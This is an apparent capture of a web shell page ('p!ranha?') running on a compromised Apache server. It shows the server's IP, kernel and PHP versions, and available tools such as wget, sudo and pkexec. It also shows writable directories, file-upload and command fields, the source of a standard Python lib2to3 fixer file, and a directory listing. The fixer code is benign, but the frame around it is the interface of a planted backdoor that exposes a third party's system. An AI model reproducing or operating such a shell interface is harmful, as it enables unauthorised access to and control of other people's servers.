p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/lib2to3/fixes/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/lib2to3/fixes/fix_types.py
# Copyright 2007 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.

"""Fixer for removing uses of the types module.

These work for only the known names in the types module.  The forms above
can include types. or not.  ie, It is assumed the module is imported either as:

    import types
    from types import ... # either * or specific types

The import statements are not modified.

There should be another fixer that handles at least the following constants:

   type([]) -> list
   type(()) -> tuple
   type('') -> str

"""

# Local imports
from ..pgen2 import token
from .. import fixer_base
from ..fixer_util import Name

_TYPE_MAPPING = {
        'BooleanType' : 'bool',
        'BufferType' : 'memoryview',
        'ClassType' : 'type',
        'ComplexType' : 'complex',
        'DictType': 'dict',
        'DictionaryType' : 'dict',
        'EllipsisType' : 'type(Ellipsis)',
        #'FileType' : 'io.IOBase',
        'FloatType': 'float',
        'IntType': 'int',
        'ListType': 'list',
        'LongType': 'int',
        'ObjectType' : 'object',
        'NoneType': 'type(None)',
        'NotImplementedType' : 'type(NotImplemented)',
        'SliceType' : 'slice',
        'StringType': 'bytes', # XXX ?
        'StringTypes' : 'str', # XXX ?
        'TupleType': 'tuple',
        'TypeType' : 'type',
        'UnicodeType': 'str',
        'XRangeType' : 'range',
    }

_pats = ["power< 'types' trailer< '.' name='%s' > >" % t for t in _TYPE_MAPPING]

class FixTypes(fixer_base.BaseFix):
    BM_compatible = True
    PATTERN = '|'.join(_pats)

    def transform(self, node, results):
        new_value = unicode(_TYPE_MAPPING.get(results["name"].value))
        if new_value:
            return Name(new_value, prefix=node.prefix)
        return None
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
__init__.py
0.046 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.pyc
0.13 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.pyo
0.13 KB
November 14 2023 16:14:41
0 / 0
0644
fix_apply.py
1.859 KB
November 14 2023 16:14:19
0 / 0
0644
fix_apply.pyc
1.839 KB
November 14 2023 16:14:41
0 / 0
0644
fix_apply.pyo
1.807 KB
November 14 2023 16:14:44
0 / 0
0644
fix_basestring.py
0.313 KB
November 14 2023 16:14:19
0 / 0
0644
fix_basestring.pyc
0.788 KB
November 14 2023 16:14:41
0 / 0
0644
fix_basestring.pyo
0.788 KB
November 14 2023 16:14:41
0 / 0
0644
fix_buffer.py
0.577 KB
November 14 2023 16:14:19
0 / 0
0644
fix_buffer.pyc
0.941 KB
November 14 2023 16:14:41
0 / 0
0644
fix_buffer.pyo
0.941 KB
November 14 2023 16:14:41
0 / 0
0644
fix_callable.py
1.129 KB
November 14 2023 16:14:19
0 / 0
0644
fix_callable.pyc
1.472 KB
November 14 2023 16:14:41
0 / 0
0644
fix_callable.pyo
1.472 KB
November 14 2023 16:14:41
0 / 0
0644
fix_dict.py
3.734 KB
November 14 2023 16:14:19
0 / 0
0644
fix_dict.pyc
3.681 KB
November 14 2023 16:14:41
0 / 0
0644
fix_dict.pyo
3.559 KB
November 14 2023 16:14:44
0 / 0
0644
fix_except.py
3.273 KB
November 14 2023 16:14:19
0 / 0
0644
fix_except.pyc
2.938 KB
November 14 2023 16:14:41
0 / 0
0644
fix_except.pyo
2.938 KB
November 14 2023 16:14:41
0 / 0
0644
fix_exec.py
0.979 KB
November 14 2023 16:14:19
0 / 0
0644
fix_exec.pyc
1.398 KB
November 14 2023 16:14:41
0 / 0
0644
fix_exec.pyo
1.366 KB
November 14 2023 16:14:44
0 / 0
0644
fix_execfile.py
1.951 KB
November 14 2023 16:14:19
0 / 0
0644
fix_execfile.pyc
2.024 KB
November 14 2023 16:14:41
0 / 0
0644
fix_execfile.pyo
1.992 KB
November 14 2023 16:14:44
0 / 0
0644
fix_exitfunc.py
2.446 KB
November 14 2023 16:14:19
0 / 0
0644
fix_exitfunc.pyc
2.692 KB
November 14 2023 16:14:41
0 / 0
0644
fix_exitfunc.pyo
2.692 KB
November 14 2023 16:14:41
0 / 0
0644
fix_filter.py
2.058 KB
November 14 2023 16:14:19
0 / 0
0644
fix_filter.pyc
2.217 KB
November 14 2023 16:14:41
0 / 0
0644
fix_filter.pyo
2.217 KB
November 14 2023 16:14:41
0 / 0
0644
fix_funcattrs.py
0.63 KB
November 14 2023 16:14:19
0 / 0
0644
fix_funcattrs.pyc
1.102 KB
November 14 2023 16:14:41
0 / 0
0644
fix_funcattrs.pyo
1.102 KB
November 14 2023 16:14:41
0 / 0
0644
fix_future.py
0.534 KB
November 14 2023 16:14:19
0 / 0
0644
fix_future.pyc
0.911 KB
November 14 2023 16:14:41
0 / 0
0644
fix_future.pyo
0.911 KB
November 14 2023 16:14:41
0 / 0
0644
fix_getcwdu.py
0.441 KB
November 14 2023 16:14:19
0 / 0
0644
fix_getcwdu.pyc
0.918 KB
November 14 2023 16:14:41
0 / 0
0644
fix_getcwdu.pyo
0.918 KB
November 14 2023 16:14:41
0 / 0
0644
fix_has_key.py
3.151 KB
November 14 2023 16:14:19
0 / 0
0644
fix_has_key.pyc
3.123 KB
November 14 2023 16:14:41
0 / 0
0644
fix_has_key.pyo
3.091 KB
November 14 2023 16:14:44
0 / 0
0644
fix_idioms.py
4.774 KB
November 14 2023 16:14:19
0 / 0
0644
fix_idioms.pyc
4.431 KB
November 14 2023 16:14:41
0 / 0
0644
fix_idioms.pyo
4.329 KB
November 14 2023 16:14:44
0 / 0
0644
fix_import.py
3.183 KB
November 14 2023 16:14:19
0 / 0
0644
fix_import.pyc
3.176 KB
November 14 2023 16:14:41
0 / 0
0644
fix_import.pyo
3.176 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports.py
5.56 KB
November 14 2023 16:14:19
0 / 0
0644
fix_imports.pyc
5.254 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports.pyo
5.254 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports2.py
0.282 KB
November 14 2023 16:14:19
0 / 0
0644
fix_imports2.pyc
0.619 KB
November 14 2023 16:14:41
0 / 0
0644
fix_imports2.pyo
0.619 KB
November 14 2023 16:14:41
0 / 0
0644
fix_input.py
0.692 KB
November 14 2023 16:14:19
0 / 0
0644
fix_input.pyc
1.121 KB
November 14 2023 16:14:41
0 / 0
0644
fix_input.pyo
1.121 KB
November 14 2023 16:14:41
0 / 0
0644
fix_intern.py
1.372 KB
November 14 2023 16:14:19
0 / 0
0644
fix_intern.pyc
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
fix_intern.pyo
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
fix_isinstance.py
1.571 KB
November 14 2023 16:14:19
0 / 0
0644
fix_isinstance.pyc
1.809 KB
November 14 2023 16:14:41
0 / 0
0644
fix_isinstance.pyo
1.809 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools.py
1.513 KB
November 14 2023 16:14:19
0 / 0
0644
fix_itertools.pyc
1.763 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools.pyo
1.763 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools_imports.py
2.045 KB
November 14 2023 16:14:19
0 / 0
0644
fix_itertools_imports.pyc
1.982 KB
November 14 2023 16:14:41
0 / 0
0644
fix_itertools_imports.pyo
1.938 KB
November 14 2023 16:14:44
0 / 0
0644
fix_long.py
0.466 KB
November 14 2023 16:14:19
0 / 0
0644
fix_long.pyc
0.835 KB
November 14 2023 16:14:41
0 / 0
0644
fix_long.pyo
0.835 KB
November 14 2023 16:14:41
0 / 0
0644
fix_map.py
2.99 KB
November 14 2023 16:14:19
0 / 0
0644
fix_map.pyc
2.982 KB
November 14 2023 16:14:41
0 / 0
0644
fix_map.pyo
2.982 KB
November 14 2023 16:14:41
0 / 0
0644
fix_metaclass.py
8.021 KB
November 14 2023 16:14:19
0 / 0
0644
fix_metaclass.pyc
6.449 KB
November 14 2023 16:14:41
0 / 0
0644
fix_metaclass.pyo
6.4 KB
November 14 2023 16:14:44
0 / 0
0644
fix_methodattrs.py
0.601 KB
November 14 2023 16:14:19
0 / 0
0644
fix_methodattrs.pyc
1.125 KB
November 14 2023 16:14:41
0 / 0
0644
fix_methodattrs.pyo
1.125 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ne.py
0.56 KB
November 14 2023 16:14:19
0 / 0
0644
fix_ne.pyc
0.978 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ne.pyo
0.978 KB
November 14 2023 16:14:41
0 / 0
0644
fix_next.py
3.106 KB
November 14 2023 16:14:19
0 / 0
0644
fix_next.pyc
3.472 KB
November 14 2023 16:14:41
0 / 0
0644
fix_next.pyo
3.439 KB
November 14 2023 16:14:44
0 / 0
0644
fix_nonzero.py
0.584 KB
November 14 2023 16:14:19
0 / 0
0644
fix_nonzero.pyc
1.074 KB
November 14 2023 16:14:41
0 / 0
0644
fix_nonzero.pyo
1.074 KB
November 14 2023 16:14:41
0 / 0
0644
fix_numliterals.py
0.755 KB
November 14 2023 16:14:19
0 / 0
0644
fix_numliterals.pyc
1.235 KB
November 14 2023 16:14:41
0 / 0
0644
fix_numliterals.pyo
1.235 KB
November 14 2023 16:14:41
0 / 0
0644
fix_operator.py
3.391 KB
November 14 2023 16:14:19
0 / 0
0644
fix_operator.pyc
5.029 KB
November 14 2023 16:14:41
0 / 0
0644
fix_operator.pyo
5.029 KB
November 14 2023 16:14:41
0 / 0
0644
fix_paren.py
1.199 KB
November 14 2023 16:14:19
0 / 0
0644
fix_paren.pyc
1.521 KB
November 14 2023 16:14:41
0 / 0
0644
fix_paren.pyo
1.521 KB
November 14 2023 16:14:41
0 / 0
0644
fix_print.py
2.798 KB
November 14 2023 16:14:19
0 / 0
0644
fix_print.pyc
2.679 KB
November 14 2023 16:14:41
0 / 0
0644
fix_print.pyo
2.584 KB
November 14 2023 16:14:44
0 / 0
0644
fix_raise.py
2.865 KB
November 14 2023 16:14:19
0 / 0
0644
fix_raise.pyc
2.453 KB
November 14 2023 16:14:41
0 / 0
0644
fix_raise.pyo
2.453 KB
November 14 2023 16:14:41
0 / 0
0644
fix_raw_input.py
0.444 KB
November 14 2023 16:14:19
0 / 0
0644
fix_raw_input.pyc
0.928 KB
November 14 2023 16:14:41
0 / 0
0644
fix_raw_input.pyo
0.928 KB
November 14 2023 16:14:41
0 / 0
0644
fix_reduce.py
0.819 KB
November 14 2023 16:14:19
0 / 0
0644
fix_reduce.pyc
1.246 KB
November 14 2023 16:14:41
0 / 0
0644
fix_reduce.pyo
1.246 KB
November 14 2023 16:14:41
0 / 0
0644
fix_renames.py
2.166 KB
November 14 2023 16:14:19
0 / 0
0644
fix_renames.pyc
2.413 KB
November 14 2023 16:14:41
0 / 0
0644
fix_renames.pyo
2.413 KB
November 14 2023 16:14:41
0 / 0
0644
fix_repr.py
0.6 KB
November 14 2023 16:14:19
0 / 0
0644
fix_repr.pyc
1.006 KB
November 14 2023 16:14:41
0 / 0
0644
fix_repr.pyo
1.006 KB
November 14 2023 16:14:41
0 / 0
0644
fix_set_literal.py
1.659 KB
November 14 2023 16:14:19
0 / 0
0644
fix_set_literal.pyc
1.957 KB
November 14 2023 16:14:41
0 / 0
0644
fix_set_literal.pyo
1.957 KB
November 14 2023 16:14:41
0 / 0
0644
fix_standarderror.py
0.439 KB
November 14 2023 16:14:19
0 / 0
0644
fix_standarderror.pyc
0.847 KB
November 14 2023 16:14:41
0 / 0
0644
fix_standarderror.pyo
0.847 KB
November 14 2023 16:14:41
0 / 0
0644
fix_sys_exc.py
1.015 KB
November 14 2023 16:14:19
0 / 0
0644
fix_sys_exc.pyc
1.681 KB
November 14 2023 16:14:41
0 / 0
0644
fix_sys_exc.pyo
1.681 KB
November 14 2023 16:14:41
0 / 0
0644
fix_throw.py
1.549 KB
November 14 2023 16:14:19
0 / 0
0644
fix_throw.pyc
1.963 KB
November 14 2023 16:14:41
0 / 0
0644
fix_throw.pyo
1.963 KB
November 14 2023 16:14:41
0 / 0
0644
fix_tuple_params.py
5.446 KB
November 14 2023 16:14:19
0 / 0
0644
fix_tuple_params.pyc
5.33 KB
November 14 2023 16:14:41
0 / 0
0644
fix_tuple_params.pyo
5.33 KB
November 14 2023 16:14:41
0 / 0
0644
fix_types.py
1.764 KB
November 14 2023 16:14:19
0 / 0
0644
fix_types.pyc
2.147 KB
November 14 2023 16:14:41
0 / 0
0644
fix_types.pyo
2.147 KB
November 14 2023 16:14:41
0 / 0
0644
fix_unicode.py
0.703 KB
November 14 2023 16:14:19
0 / 0
0644
fix_unicode.pyc
1.171 KB
November 14 2023 16:14:41
0 / 0
0644
fix_unicode.pyo
1.171 KB
November 14 2023 16:14:41
0 / 0
0644
fix_urllib.py
8.188 KB
November 14 2023 16:14:19
0 / 0
0644
fix_urllib.pyc
6.992 KB
November 14 2023 16:14:41
0 / 0
0644
fix_urllib.pyo
6.992 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ws_comma.py
1.069 KB
November 14 2023 16:14:19
0 / 0
0644
fix_ws_comma.pyc
1.363 KB
November 14 2023 16:14:41
0 / 0
0644
fix_ws_comma.pyo
1.363 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xrange.py
2.636 KB
November 14 2023 16:14:19
0 / 0
0644
fix_xrange.pyc
3.015 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xrange.pyo
3.015 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xreadlines.py
0.674 KB
November 14 2023 16:14:19
0 / 0
0644
fix_xreadlines.pyc
1.139 KB
November 14 2023 16:14:41
0 / 0
0644
fix_xreadlines.pyo
1.139 KB
November 14 2023 16:14:41
0 / 0
0644
fix_zip.py
0.883 KB
November 14 2023 16:14:19
0 / 0
0644
fix_zip.pyc
1.328 KB
November 14 2023 16:14:41
0 / 0
0644
fix_zip.pyo
1.328 KB
November 14 2023 16:14:41
0 / 0
0644